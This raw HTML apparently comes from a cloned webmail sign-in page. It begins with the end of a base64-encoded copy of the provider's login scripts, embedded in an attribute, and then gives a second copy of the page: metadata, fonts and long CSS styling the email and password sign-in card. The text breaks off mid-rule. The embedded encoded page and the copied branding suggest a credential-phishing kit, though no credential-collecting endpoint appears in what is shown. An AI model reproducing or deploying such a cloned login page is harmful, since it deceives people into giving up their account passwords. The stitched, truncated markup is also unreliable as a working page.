gICAgICAgICAgICAgICAgICBjdXJyZW50RmllbGQudmFsdWUgPSAnJzsNCiAgICAgICAgICAgICAgICAgICAgY3VycmVudEZpZWxkLnZhbHVlID0gY3VycmVudFZhbHVlOw0KICAgICAgICAgICAgICAgICAgICByZXR1cm47DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KDQoNCg0KICAgICAgICAgICAgZm9yICh2YXIgaiA9IDA7IGogPCBmb3JtRmllbGRzLmxlbmd0aDsgaisrKSB7DQogICAgICAgICAgICAgICAgdmFyIGN1cnJlbnRGaWVsZCA9IGZvcm1GaWVsZHNbal07DQogICAgICAgICAgICAgICAgaWYgKGlzRm9jdXNhYmxlRW1wdHlGaWVsZChjdXJyZW50RmllbGQpKSB7DQogICAgICAgICAgICAgICAgICAgIGN1cnJlbnRGaWVsZC5mb2N1cygpOw0KICAgICAgICAgICAgICAgICAgICByZXR1cm47DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KDQogICAgICAgIH0NCiAgICB9DQoNCg0KDQogICAgZ2FpYV9hdHRhY2hFdmVudCh3aW5kb3csICdsb2FkJywgZ2FpYV9zZXRGb2N1cyk7DQogIA0KICANCjwvc2NyaXB0PjxzY3JpcHQ+DQogICAgdmFyIGdhaWFfc2Nyb2xsVG9FbGVtZW50ID0gZnVuY3Rpb24gKGVsZW1lbnQpIHsNCiAgICAgICAgdmFyIGNhbGN1bGF0ZU9mZnNldEhlaWdodCA9IGZ1bmN0aW9uIChlbGVtZW50KSB7DQogICAgICAgICAgICB2YXIgY3VydG9wID0gMDsNCiAgICAgICAgICAgIGlmIChlbGVtZW50Lm9mZnNldFBhcmVudCkgew0KICAgICAgICAgICAgICAgIHdoaWxlIChlbGVtZW50KSB7DQogICAgICAgICAgICAgICAgICAgIGN1cnRvcCArPSBlbGVtZW50Lm9mZnNldFRvcDsNCiAgICAgICAgICAgICAgICAgICAgZWxlbWVudCA9IGVsZW1lbnQub2Zmc2V0UGFyZW50Ow0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIHJldHVybiBjdXJ0b3A7DQogICAgICAgIH0NCiAgICAgICAgdmFyIHNpZ2luT2Zmc2V0SGVpZ2h0ID0gY2FsY3VsYXRlT2Zmc2V0SGVpZ2h0KGVsZW1lbnQpOw0KICAgICAgICB2YXIgc2Nyb2xsSGVpZ2h0ID0gc2lnaW5PZmZzZXRIZWlnaHQgLSB3aW5kb3cuaW5uZXJIZWlnaHQgKw0KICBlbGVtZW50LmNsaWVudEhlaWdodCArIDAuMDIgKiB3aW5kb3cuaW5uZXJIZWlnaHQ7DQogICAgICAgIHdpbmRvdy5zY3JvbGwoMCwgc2Nyb2xsSGVpZ2h0KTsNCiAgICB9DQo8L3NjcmlwdD48c2NyaXB0Pg0KICAgIChmdW5jdGlvbiAoKSB7DQogICAgICAgIHZhciBzaWduaW5JbnB1dCA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdzaWduSW4nKTsNCiAgICAgICAgZ2FpYV9vbkxvZ2luU3VibWl0ID0gZnVuY3Rpb24gKCkgew0KICAgICAgICAgICAgdHJ5IHsNCiAgICAgICAgICAgICAgICBkb2N1bWVudC5iZy5pbnZva2UoZnVuY3Rpb24gKHJlc3BvbnNlKSB7DQogICAgICAgICAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdiZ3Jlc3BvbnNlJykudmFsdWUgPSByZXNwb25zZTsNCiAgICAgICAgICAgICAgICB9KTsNCiAgICAgICAgICAgIH0gY2F0Y2ggKGVycikgew0KICAgICAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdiZ3Jlc3BvbnNlJykudmFsdWUgPSAnJzsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIHJldHVybiB0cnVlOw0KICAgICAgICB9DQogICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdnYWlhX2xvZ2luZm9ybScpLm9uc3VibWl0ID0gZ2FpYV9vbkxvZ2luU3VibWl0Ow0KICAgICAgICB2YXIgc2lnbmluQnV0dG9uID0gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3NpZ25JbicpOw0KICAgICAgICBnYWlhX2F0dGFjaEV2ZW50KHdpbmRvdywgJ2xvYWQnLCBmdW5jdGlvbiAoKSB7DQogICAgICAgICAgICBnYWlhX3Njcm9sbFRvRWxlbWVudChzaWduaW5CdXR0b24pOw0KICAgICAgICB9KTsNCiAgICB9KSgpOw0KPC9zY3JpcHQ+PHNjcmlwdD4gICAgICB2YXIgZSA9IHRoaXMsIGcgPSBmdW5jdGlvbiAoYywgYikgeyB2YXIgYSA9IGMuc3BsaXQoIi4iKSwgZCA9IGU7IGFbMF0gaW4gZCB8fCAhZC5leGVjU2NyaXB0IHx8IGQuZXhlY1NjcmlwdCgidmFyICIgKyBhWzBdKTsgZm9yICh2YXIgZjsgYS5sZW5ndGggJiYgKGYgPSBhLnNoaWZ0KCkpOyApIGEubGVuZ3RoIHx8IHZvaWQgMCA9PT0gYiA/IGRbZl0gPyBkID0gZFtmXSA6IGQgPSBkW2ZdID0ge30gOiBkW2ZdID0gYiB9OyB2YXIgaCA9IGZ1bmN0aW9uICgpIHsgdHJ5IHsgcmV0dXJuIG5ldyBYTUxIdHRwUmVxdWVzdCB9IGNhdGNoIChjKSB7IGZvciAodmFyIGIgPSBbIk1TWE1MMi5YTUxIVFRQLjYuMCIsICJNU1hNTDIuWE1MSFRUUC4zLjAiLCAiTVNYTUwyLlhNTEhUVFAiLCAiTWljcm9zb2Z0LlhNTEhUVFAiXSwgYSA9IDA7IGEgPCBiLmxlbmd0aDsgYSsrKSB0cnkgeyByZXR1cm4gbmV3IEFjdGl2ZVhPYmplY3QoYlthXSkgfSBjYXRjaCAoZCkgeyB9IH0gcmV0dXJuIG51bGwgfTsgZygiZ2FpYS5hamF4Lm5ld1htbEh0dHBSZXF1ZXN0IiwgaCk7IHZhciBrID0gZnVuY3Rpb24gKCkgeyB0aGlzLmIgPSBoKCk7IHRoaXMucGFyYW1ldGVycyA9IHt9IH07IGcoImdhaWEuYWpheC5YbWxIdHRwRm9ybVJlcXVlc3QiLCBrKTsgay5wcm90b3R5cGUuYSA9IGZ1bmN0aW9uICgpIHsgfTsgay5wcm90b3R5cGUub25jb21wbGV0ZSA9IGsucHJvdG90eXBlLmE7DQogICAgICBrLnByb3RvdHlwZS5zZW5kID0gZnVuY3Rpb24gKGMpIHsgdmFyIGIgPSBbXSwgYTsgZm9yIChhIGluIHRoaXMucGFyYW1ldGVycykgYi5wdXNoKGEgKyAiPSIgKyBlbmNvZGVVUklDb21wb25lbnQodGhpcy5wYXJhbWV0ZXJzW2FdKSk7IHZhciBiID0gYi5qb2luKCImIiksIGQgPSB0aGlzLmIsIGYgPSB0aGlzLmE7IGQub3BlbigiUE9TVCIsIGMsICEwKTsgZC5zZXRSZXF1ZXN0SGVhZGVyKCJDb250ZW50LXR5cGUiLCAiYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkIik7IGQub25yZWFkeXN0YXRlY2hhbmdlID0gZnVuY3Rpb24gKCkgeyA0ID09IGQucmVhZHlTdGF0ZSAmJiBmKHsgc3RhdHVzOiBkLnN0YXR1cywgdGV4dDogZC5yZXNwb25zZVRleHQgfSkgfTsgZC5zZW5kKGIpIH07IGsucHJvdG90eXBlLnNlbmQgPSBrLnByb3RvdHlwZS5zZW5kOw0KICAgICAgay5wcm90b3R5cGUuZCA9IGZ1bmN0aW9uIChjLCBiKSB7IHZhciBhID0gdGhpcy5iLCBkID0gdGhpcy5hOyBhLm9wZW4oIlBPU1QiLCBjLCAhMCk7IGEuc2V0UmVxdWVzdEhlYWRlcigiQ29udGVudC10eXBlIiwgImFwcGxpY2F0aW9uL2pzb24iKTsgYS5vbnJlYWR5c3RhdGVjaGFuZ2UgPSBmdW5jdGlvbiAoKSB7IDQgPT0gYS5yZWFkeVN0YXRlICYmIGQoeyBzdGF0dXM6IGEuc3RhdHVzLCB0ZXh0OiBhLnJlc3BvbnNlVGV4dCB9KSB9OyBhLnNlbmQoYikgfTsgay5wcm90b3R5cGUuc2VuZEpzb24gPSBrLnByb3RvdHlwZS5kOyBrLnByb3RvdHlwZS5jID0gZnVuY3Rpb24gKGMpIHsgdmFyIGIgPSB0aGlzLmEsIGEgPSB0aGlzLmI7IGEub3BlbigiR0VUIiwgYywgITApOyBhLm9ucmVhZHlzdGF0ZWNoYW5nZSA9IGZ1bmN0aW9uICgpIHsgNCA9PSBhLnJlYWR5U3RhdGUgJiYgYih7IHN0YXR1czogYS5zdGF0dXMsIHRleHQ6IGEucmVzcG9uc2VUZXh0IH0pIH07IGEuc2VuZCgpIH07IGsucHJvdG90eXBlLmdldCA9IGsucHJvdG90eXBlLmM7IHZhciBsID0gL1xzKjtccyovLCBtID0gZnVuY3Rpb24gKCkgeyBpZiAoIWRvY3VtZW50LmNvb2tpZSkgcmV0dXJuICIiOyBmb3IgKHZhciBjID0gZG9jdW1lbnQuY29va2llLnNwbGl0KGwpLCBiID0gMDsgYiA8IGMubGVuZ3RoOyBiKyspIHsgdmFyIGEgPSBjW2JdLCBhID0gYS5yZXBsYWNlKC9eXHMrLywgIiIpLCBhID0gYS5yZXBsYWNlKC9ccyskLywgIiIpOyBpZiAoMCA9PSBhLmluZGV4T2YoIkFQSVNJRD0iKSkgcmV0dXJuIGEuc3Vic3RyKDcpIH0gcmV0dXJuICIiIH07IHZhciBuID0gbnVsbCwgcCA9IGZ1bmN0aW9uIChjLCBiKSB7IHRoaXMuZCA9IGM7IHRoaXMuYyA9IGI7IHRoaXMuYiA9IG0oKSB9LCBxID0gZnVuY3Rpb24gKCkgeyB2YXIgYyA9IG4sIGIgPSBtKCk7IGIgIT0gYy5iICYmIChjLmIgPSBiLCBiID0gbmV3IGssIGIuYSA9IGZ1bmN0aW9uIChhKSB7IHZhciBiID0gbjsgYSAmJiBhLnN0YXR1cyAmJiAyMDAgPT0gYS5zdGF0dXMgJiYgIk9LIiA9PSBhLnRleHQgJiYgKGIuYSAmJiBjbGVhckludGVydmFsKGIuYSksIHdpbmRvdy5sb2NhdGlvbiA9IGIuZCkgfSwgYi5jKGMuYykpIH0sIHIgPSBmdW5jdGlvbiAoYykgeyB2YXIgYiA9IG47IGlmIChiLmEpIHJldHVybiAhMTsgYi5hID0gc2V0SW50ZXJ2YWwoZnVuY3Rpb24gKCkgeyBxKCkgfSwgYyk7IHJldHVybiAhMCB9OyBnKCJnYWlhLmxvZ2luQXV0b1JlZGlyZWN0LnN0YXJ0IiwgZnVuY3Rpb24gKGMsIGIsIGEpIHsgaWYgKG4gfHwgIWEgfHwgIWIgfHwgMCA+PSBjKSByZXR1cm4gITE7IG4gPSBuZXcgcChiLCBhKTsgcmV0dXJuIHIoYykgfSk7DQo8L3NjcmlwdD48c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+DQogICAgICBnYWlhLmxvZ2luQXV0b1JlZGlyZWN0LnN0YXJ0KDUwMDAsDQogICdodHRwczpceDJGXHgyRmFjY291bnRzLi5jb21ceDJGU2VydmljZUxvZ2luP2NvbnRpbnVlPWh0dHBzJTNBJTJGJTJGLi5jb20lMkYlM0Z1cnAlM0RodHRwJTNBJTJGJTJGd3d3Li5jby56YSUyRnVybCUzRnNhJTI1M0R0JTI1MjZyY3QlMjUzRGolMjUyNnElMjUzRCUyNTI2ZXNyYyUyNTNEcyUyNTI2cyUyM1x4MjZmb2xsb3d1cD1odHRwcyUzQSUyRiUyRi4uY29tJTJGJTNGdXJwJTNEaHR0cCUzQSUyRiUyRnd3dy4uY28uemElMkZ1cmwlM0ZzYSUyNTNEdCUyNTI2cmN0JTI1M0RqJTI1MjZxJTI1M0QlMjUyNmVzcmMlMjUzRHMlMjUyNnNceDI2c2VydmljZT13aXNlXHgyNmx0bXBsPVx4MjZwYXNzaXZlPTEyMDk2MDBceDI2bm9hdXRvbG9naW49dHJ1ZScsDQogICdodHRwczpceDJGXHgyRmFjY291bnRzLi5jb21ceDJGUGFzc2l2ZUxvZ2luUHJvYmVyP2NvbnRpbnVlPWh0dHBzJTNBJTJGJTJGLi5jb20lMkYlM0Z1cnAlM0RodHRwJTNBJTJGJTJGd3d3Li5jby56YSUyRnVybCUzRnNhJTI1M0R0JTI1MjZyY3QlMjUzRGolMjUyNnElMjUzRCUyNTI2ZXNyYyUyNTNEcyUyNTI2cyUyM1x4MjZmb2xsb3d1cD1odHRwcyUzQSUyRiUyRi4uY29tJTJGJTNGdXJwJTNEaHR0cCUzQSUyRiUyRnd3dy4uY28uemElMkZ1cmwlM0ZzYSUyNTNEdCUyNTI2cmN0JTI1M0RqJTI1MjZxJTI1M0QlMjUyNmVzcmMlMjUzRHMlMjUyNnNceDI2c2VydmljZT13aXNlXHgyNmx0bXBsPVx4MjZwYXNzaXZlPTEyMDk2MDAnKTsNCiAgPC9zY3JpcHQ+PC9ib2R5Pg0KPC9odG1sPg0K" >
>
</html>
<!DOCTYPE html>
<html lang="en">
<head>
<link href="http://ssl.gstatic.com/docs/doclist/images/infinite_arrow_favicon_4.ico" rel="shortcut icon" />
<meta content="text/html; charset=UTF-8" http-equiv="Content-Type" />
<meta charset="utf-8" />
<meta content="width=300, initial-scale=1" name="viewport" />
<meta name="" value="notranslate" />
<meta content=" is email that's intuitive, efficient, and useful. 15 GB of storage, less spam, and mobile access." name="description" />
<title> </title>
<style type="text/css">
@font-face {
font-family: 'Open Sans';
font-style: normal;
font-weight: 300;
src: local('Open Sans Light'), local('OpenSans-Light'), url(http://fonts.gstatic.com/s/opensans/v10/DXI1ORHCpsQm3Vp6mXoaTXhCUOGz7vYGh680lGh-uXM.woff) format('woff');
}
@font-face {
font-family: 'Open Sans';
font-style: normal;
font-weight: 400;
src: local('Open Sans'), local('OpenSans'), url(http://fonts.gstatic.com/s/opensans/v10/cJZKeOuBrn4kERxqtaUH3T8E0i7KZn-EPnyo3HZu7kw.woff) format('woff');
} </style>
<style type="text/css">
h1, h2 {
-webkit-animation-duration: 0.1s;
-webkit-animation-name: fontfix;
-webkit-animation-iteration-count: 1;
-webkit-animation-timing-function: linear;
-webkit-animation-delay: 0;
}
@-webkit-keyframes fontfix {
from {
opacity: 1;
}
to {
opacity: 1;
}
} </style>
<style type="text/css">
html, body {
font-family: Arial, sans-serif;
background: #fff;
margin: 0;
padding: 0;
border: 0;
position: absolute;
height: 100%;
min-width: 100%;
font-size: 13px;
color: #404040;
direction: ltr;
-webkit-text-size-adjust: none;
}
button,
input[type=button],
input[type=submit] {
font-family: Arial, sans-serif;
font-size: 13px;
}
a,
a:hover,
a:visited {
color: #427fed;
cursor: pointer;
text-decoration: none;
}
a:hover {
text-decoration: underline;
}
h1 {
font-size: 20px;
color: #262626;
margin: 0 0 15px;
font-weight: normal;
}
h2 {
font-size: 14px;
color: #262626;
margin: 0 0 15px;
font-weight: bold;
}
input[type=email],
input[type=number],
input[type=password],
input[type=tel],
input[type=text],
input[type=url] {
-moz-appearance: none;
-webkit-appearance: none;
appearance: none;
display: inline-block;
height: 36px;
padding: 0 8px;
margin: 0;
background: #fff;
border: 1px solid #d9d9d9;
border-top: 1px solid #c0c0c0;
-moz-box-sizing: border-box;
-webkit-box-sizing: border-box;
box-sizing: border-box;
-moz-border-radius: 1px;
-webkit-border-radius: 1px;
border-radius: 1px;
font-size: 15px;
color: #404040;
}
input[type=email]:hover,
input[type=number]:hover,
input[type=password]:hover,
input[type=tel]:hover,
input[type=text]:hover,
input[type=url]:hover {
border: 1px solid #b9b9b9;
border-top: 1px solid #a0a0a0;
-moz-box-shadow: inset 0 1px 2px rgba(0,0,0,0.1);
-webkit-box-shadow: inset 0 1px 2px rgba(0,0,0,0.1);
box-shadow: inset 0 1px 2px rgba(0,0,0,0.1);
}
input[type=email]:focus,
input[type=number]:focus,
input[type=password]:focus,
input[type=tel]:focus,
input[type=text]:focus,
input[type=url]:focus {
outline: none;
border: 1px solid #4d90fe;
-moz-box-shadow: inset 0 1px 2px rgba(0,0,0,0.3);
-webkit-box-shadow: inset 0 1px 2px rgba(0,0,0,0.3);
box-shadow: inset 0 1px 2px rgba(0,0,0,0.3);
}
input[type=checkbox],
input[type=radio] {
-webkit-appearance: none;
display: inline-block;
width: 13px;
height: 13px;
margin: 0;
cursor: pointer;
vertical-align: bottom;
background: #fff;
border: 1px solid #c6c6c6;
-moz-border-radius: 1px;
-webkit-border-radius: 1px;
border-radius: 1px;
-moz-box-sizing: border-box;
-webkit-box-sizing: border-box;
box-sizing: border-box;
position: relative;
}
input[type=checkbox]:active,
input[type=radio]:active {
background: #ebebeb;
}
input[type=checkbox]:hover {
border-color: #c6c6c6;
-moz-box-shadow: inset 0 1px 2px rgba(0,0,0,0.1);
-webkit-box-shadow: inset 0 1px 2px rgba(0,0,0,0.1);
box-shadow: inset 0 1px 2px rgba(0,0,0,0.1);
}
input[type=radio] {
-moz-border-radius: 1em;
-webkit-border-radius: 1em;
border-radius: 1em;
width: 15px;
height: 15px;
}
input[type=checkbox]:checked,
input[type=radio]:checked {
background: #fff;
}
input[type=radio]:checked::after {
content: '';
display: block;
position: relative;
top: 3px;
left: 3px;
width: 7px;
height: 7px;
background: #666;
-moz-border-radius: 1em;
-webkit-border-radius: 1em;
border-radius: 1em;
}
input[type=checkbox]:checked::after {
content: url(http://ssl.gstatic.com/ui/v1/menu/checkmark.png);
display: block;
position: absolute;
top: -6px;
left: -5px;
}
input[type=checkbox]:focus {
outline: none;
border-color: #4d90fe;
}
.stacked-label {
display: block;
font-weight: bold;
margin: .5em 0;
}
.hidden-label {
position: absolute !important;
clip: rect(1px 1px 1px 1px); /* IE6, IE7 */
clip: rect(1px, 1px, 1px, 1px);
height: 0px;
width: 0px;
overflow: hidden;
visibility: hidden;
}
input[type=checkbox].form-error,
input[type=email].form-error,
input[type=number].form-error,
input[type=password].form-error,
input[type=text].form-error,
input[type=tel].form-error,
input[type=url].form-error {
border: 1px solid #dd4b39;
}
.error-msg {
margin: .5em 0;
display: block;
color: #dd4b39;
line-height: 17px;
}
.help-link {
background: #dd4b39;
padding: 0 5px;
color: #fff;
font-weight: bold;
display: inline-block;
-moz-border-radius: 1em;
-webkit-border-radius: 1em;
border-radius: 1em;
text-decoration: none;
position: relative;
top: 0px;
}
.help-link:visited {
color: #fff;
}
.help-link:hover {
color: #fff;
background: #c03523;
text-decoration: none;
}
.help-link:active {
opacity: 1;
background: #ae2817;
}
.wrapper {
position: relative;
min-height: 100%;
}
.content {
padding: 0 44px;
}
.main {
padding-bottom: 100px;
}
/* For modern browsers */
.clearfix:before,
.clearfix:after {
content: "";
display: table;
}
.clearfix:after {
clear: both;
}
/* For IE 6/7 (trigger hasLayout) */
.clearfix {
zoom:1;
}
.-header-bar {
height: 71px;
border-bottom: 1px solid #e5e5e5;
overflow: hidden;
}
.header .logo {
margin: 17px 0 0;
float: left;
height: 38px;
width: 116px;
}
.header .secondary-link {
margin: 28px 0 0;
float: right;
}
.header .secondary-link a {
font-weight: normal;
}
.-header-bar.centered {
border: 0;
height: 108px;
}
.-header-bar.centered .header .logo {
float: none;
margin: 40px auto 30px;
display: block;
}
.-header-bar.centered .header .secondary-link {
display: none
}
.-footer-bar {
position: absolute;
bottom: 0;
height: 35px;
width: 100%;
border-top: 1px solid #e5e5e5;
overflow: hidden;
}
.footer {
padding-top: 7px;
font-size: .85em;
white-space: nowrap;
line-height: 0;
}
.footer ul {
float: left;
max-width: 80%;
padding: 0;
}
.footer ul li {
color: #737373;
display: inline;
padding: 0;
padding-right: 1.5em;
}
.footer a {
color: #737373;
}
.lang-chooser-wrap {
float: right;
display: inline;
}
.lang-chooser-wrap img {
vertical-align: top;
}
.lang-chooser {
font-size: 13px;
height: 24px;
line-height: 24px;
}
.lang-chooser option {
font-size: 13px;
line-height: 24px;
}
.hidden {
height: 0px;
width: 0px;
overflow: hidden;
visibility: hidden;
display: none !important;
}
.banner {
text-align: center;
}
.card {
background-color: #f7f7f7;
padding: 20px 25px 30px;
margin: 0 auto 25px;
width: 304px;
-moz-border-radius: 2px;
-webkit-border-radius: 2px;
border-radius: 2px;
-moz-box-shadow: 0px 2px 2px rgba(0, 0, 0, 0.3);
-webkit-box-shadow: 0px 2px 2px rgba(0, 0, 0, 0.3);
box-shadow: 0px 2px 2px rgba(0, 0, 0, 0.3);
}
.card > *:first-child {
margin-top: 0;
}
.rc-button,
.rc-button:visited {
display: inline-block;
min-width: 46px;
text-align: center;
color: #444;
font-size: 14px;
font-weight: 700;
height: 36px;
padding: 0 8px;
line-height: 36px;
-moz-border-radius: 3px;
-webkit-border-radius: 3px;
border-radius: 3px;
-o-transition: all 0.218s;
-moz-transition: all 0.218s;
-webkit-transition: all 0.218s;
transition: all 0.218s;
border: 1px solid #dcdcdc;
background-color: #f5f5f5;
background-image: -webkit-linear-gradient(top,#f5f5f5,#f1f1f1);
background-image: -moz-linear-gradient(top,#f5f5f5,#f1f1f1);
background-image: -ms-linear-gradient(top,#f5f5f5,#f1f1f1);
background-image: -o-linear-gradient(top,#f5f5f5,#f1f1f1);
background-image: linear-gradient(top,#f5f5f5,#f1f1f1);
-o-transition: none;
-moz-user-select: none;
-webkit-user-select: none;
user-select: none;
cursor: default;
}
.card .rc-button {
width: 100%;
padding: 0;
}
.rc-button.disabled,
.rc-button[disabled] {
opacity: .5;
filter: alpha(opacity=50);
cursor: default;
pointer-events: none;
}
.rc-button:hover {
border: 1px solid #c6c6c6;
color: #333;
text-decoration: none;
-o-transition: all 0.0s;
-moz-transition: all 0.0s;
-webkit-transition: all 0.0s;
transition: all 0.0s;
background-color: #f8f8f8;
background-image: -webkit-linear-gradient(top,#f8f8f8,#f1f1f1);
background-image: -moz-linear-gradient(top,#f8f8f8,#f1f1f1);
background-image: -ms-linear-gradient(top,#f8f8f8,#f1f1f1);
background-image: -o-linear-gradient(top,#f8f8f8,#f1f1f1);
background-image: linear-gradient(top,#f8f8f8,#f1f1f1);
-moz-box-shadow: 0 1px 1px rgba(0,0,0,0.1);
-webkit-box-shadow: 0 1px 1px rgba(0,0,0,0.1);
box-shadow: 0 1px 1px rgba(0,0,0,0.1);
}
.rc-button:active {
background-color: #f6f6f6;
background-image: -webkit-linear-gradient(top,#f6f6f6,#f1f1f1);
background-image: -moz-linear-gradient(top,#f6f6f6,#f1f1f1);
background-image: -ms-linear-gradient(top,#f6f6f6,#f1f1f1);
background-image: -o-linear-gradient(top,#f6f6f6,#f1f1f1);
background-image: linear-gradient(top,#f6f6f6,#f1f1f1);
-moz-box-shadow: 0 1px 2px rgba(0,0,0,0.1);
-webkit-box-shadow: 0 1px 2px rgba(0,0,0,0.1);
box-shadow: 0 1px 2px rgba(0,0,0,0.1);
}
.rc-button-submit,
.rc-button-submit:visited {
border: 1px solid #3079ed;
color: #fff;
text-shadow: 0 1px rgba(0,0,0,0.1);
background-color: #4d90fe;
background-image: -webkit-linear-gradient(top,#4d90fe,#4787ed);
background-image: -moz-linear-gradient(top,#4d90fe,#4787ed);
background-image: -ms-linear-gradient(top,#4d90fe,#4787ed);
background-image: -o-linear-gradient(top,#4d90fe,#4787ed);
background-image: linear-gradient(top,#4d90fe,#4787ed);
}
.rc-button-submit:hover {
border: 1px solid #2f5bb7;
color: #fff;
text-shadow: 0 1px rgba(0,0,0,0.3);
background-color: #357ae8;
background-image: -webkit-linear-gradient(top,#4d90fe,#357ae8);
background-image: -moz-linear-gradient(top,#4d90fe,#357ae8);
background-image: -ms-linear-gradient(top,#4d90fe,#357ae8);
background-image: -o-linear-gradient(top,#4d90fe,#357ae8);
background-image: linear-gradient(top,#4d90fe,#357ae8);
}
.rc-button-submit:active {
background-color: #357ae8;
background-image: -webkit-linear-gradient(top,#4d90fe,#357ae8);
background-image: -moz-linear-gradient(top,#4d90fe,#357ae8);
background-image: -ms-linear-gradient(top,#4d90fe,#357ae8);
background-image: -o-linear-gradient(top,#4d90fe,#357ae8);
background-image: linear-gradient(top,#4d90fe,#357ae8);
-moz-box-shadow: inset 0 1px 2px rgba(0,0,0,0.3);
-webkit-box-shadow: inset 0 1px 2px rgba(0,0,0,0.3);
box-shadow: inset 0 1px 2px rgba(0,0,0,0.3);
}
.rc-button-red,
.rc-button-red:visited {
border: 1px solid transparent;
color: #fff;
text-shadow: 0 1px rgba(0,0,0,0.1);
background-color: #d14836;
background-image: -webkit-linear-gradient(top,#dd4b39,#d14836);
background-image: -moz-linear-gradient(top,#dd4b39,#d14836);
background-image: -ms-linear-gradient(top,#dd4b39,#d14836);
background-image: -o-linear-gradient(top,#dd4b39,#d14836);
background-image: linear-gradient(top,#dd4b39,#d14836);
}
.rc-button-red:hover {
border: 1px solid #b0281a;
color: #fff;
text-shadow: 0 1px rgba(0,0,0,0.3);
background-color: #c53727;
background-image: -webkit-linear-gradient(top,#dd4b39,#c53727);
background-image: -moz-linear-gradient(top,#dd4b39,#c53727);
background-image: -ms-linear-gradient(top,#dd4b39,#c53727);
background-image: -o-linear-gradient(top,#dd4b39,#c53727);
background-image: linear-gradient(top,#dd4b39,#c53727);
}
.rc-button-red:active {
border: 1px solid #992a1b;
background-color: #b0281a;
background-image: -webkit-linear-gradient(top,#dd4b39,#b0281a);
background-image: -moz-linear-gradient(top,#dd4b39,#b0281a);
background-image: -ms-linear-gradient(top,#dd4b39,#b0281a);
background-image: -o-linear-gradient(top,#dd4b39,#b0281a);
background-image: linear-gradient(top,#dd4b39,#b0281a);
-moz-box-shadow: inset 0 1px 2px rgba(0,0,0,0.3);
-webkit-box-shadow: inset 0 1px 2px rgba(0,0,0,0.3);
box-shadow: inset 0 1px 2px rgba(0,0,0,0.3);
}
.secondary-actions {
text-align: center;
} </style>
<style media="screen and (max-width: 800px), screen and (max-height: 800px)" type="text/css">
.-header-bar.centered {
height: 83px;
}
.-header-bar.centered .header .logo {
margin: 25px auto 20px;
}
.card {
margin-bottom: 20px;
} </style>
<style media="screen and (max-width: 580px)" type="text/css">
html, body {
font-size: 14px;
}
.-header-bar.centered {
height: 73px;
}
.-header-bar.centered .header .logo {
margin: 20px auto 15px;
}
.content {
padding-left: 10px;
padding-right: 10px;
}
.hidden-small {
display: none;
}
.card {
padding: 20px 15px 30px;
width: 270px;
}
.footer ul li {
padding-right: 1em;
}
.lang-chooser-wrap {
display: none;
} </style>
<style type="text/css">
pre.debug {
font-family: monospace;
position: absolute;
left: 0;
margin: 0;
padding: 1.5em;
font-size: 13px;
background: #f1f1f1;
border-top: 1px solid #e5e5e5;
direction: ltr;
white-space: pre-wrap;
width: 90%;
overflow: hidden;
} </style>
<style type="text/css">
.banner h1 {
font-family: 'Open Sans', arial;
-webkit-font-smoothing: antialiased;
color: #555;
font-size: 42px;
font-weight: 300;
margin-top: 0;
margin-bottom: 20px;
}
.banner h2 {
font-family: 'Open Sans', arial;
-webkit-font-smoothing: antialiased;
color: #555;
font-size: 18px;
font-weight: 400;
margin-bottom: 20px;
}
.signin-card {
width: 274px;
padding: 40px 40px;
}
.signin-card .profile-img {
width: 96px;
height: 96px;
margin: 0 auto 10px;
display: block;
-moz-border-radius: 50%;
-webkit-border-radius: 50%;
border-radius: 50%;
}
.signin-card .profile-name {
font-size: 16px;
font-weight: bold;
text-align: center;
margin: 10px 0 0;
min-height: 1em;
}
.signin-card .profile-email {
font-size: 16px;
text-align: center;
margin: 10px 0 20px 0;
min-height: 1em;
}
.signin-card input[type=email],
.signin-card input[type=password],
.signin-card input[type=text],
.signin-card input[type=submit] {
width: 100%;
display: block;
margin-bottom: 10px;
z-index: 1;
position: relative;
-moz-box-sizing: border-box;
-webkit-box-sizing: border-box;
box-sizing: border-box;
}
.signin-card #Email,
.signin-card #Passwd,
.signin-card .captcha {
direction: ltr;
height: 44px;
font-size: 16px;
}
.signin-card #Email + .stacked-label {
margin-top: 15px;
}
.signin-card #reauthEmail {
display: block;
margin-bottom: 10px;
line-height: 36px;
padding: 0 8px;
font-size: 15px;
color: #404040;
line-height: 2;
margin-bottom: 10px;
font-size: 14px;
text-align: center;
overflow: hidden;
text-overflow: ellipsis;
white-space: nowrap;
-moz-box-sizing: border-box;
-webkit-box-sizing: border-box;
box-sizing: border-box;
}
.one- p {
margin: 0 0 10px;
color: #555;
font-size: 14px;
text-align: center;
}
.one- p.create-account,
.one- p.switch-account {
margin-bottom: 60px;
}
.one- img {
display: block;
width: 210px;
height: 17px;
margin: 10px auto;
} </style>
<style media="screen and (max-width: 800px), screen and (max-height: 800px)" type="text/css">
.banner h1 {
font-size: 38px;
margin-bottom: 15px;
}
.banner h2 {
margin-bottom: 15px;
}
.one- p.create-account,
.one- p.switch-account {
margin-bottom: 30px;
}
.signin-card #Email {
margin-bottom: 0;
}
.signin-card #Passwd {
margin-top: -1px;
}
.signin-card #Email.form-error,
.signin-card #Passwd.form-error {
z-index: 2;
}
.signin-card #Email:hover,
.signin-card #Email:focus,
.signin-card #Passwd:hover,
.signin-card #Passwd:focus {
z-index: 3;
} </style>
<style media="screen and (max-width: 580px)" type="text/css">
.banner h1 {
font-size: 22px;
margin-bottom: 15px;
}
.signin-card {
width: 260px;
padding: 20px 20px;
margin: 0 auto 20px;
}
.signin-card .profile-img {
width: 72px;
height: 72px;
-moz-border-radius: 72px;
-webkit-border-radius: 72px;
border-radius: 72px;
} </style>
<style type="text/css">
.jfk-tooltip {
background-color: #fff;
border: 1px solid;
color: #737373;
font-size: 12px;
position: absolute;
z-index: 800 !important;
border-color: #bbb #bbb #a8a8a8;
padding: 16px;
width: 250px;
}
.jfk-tooltip h3 {
color: #555;
font-size: 12px;
margin: 0 0 .5em;
}
.jfk-tooltip-content p:last-child {
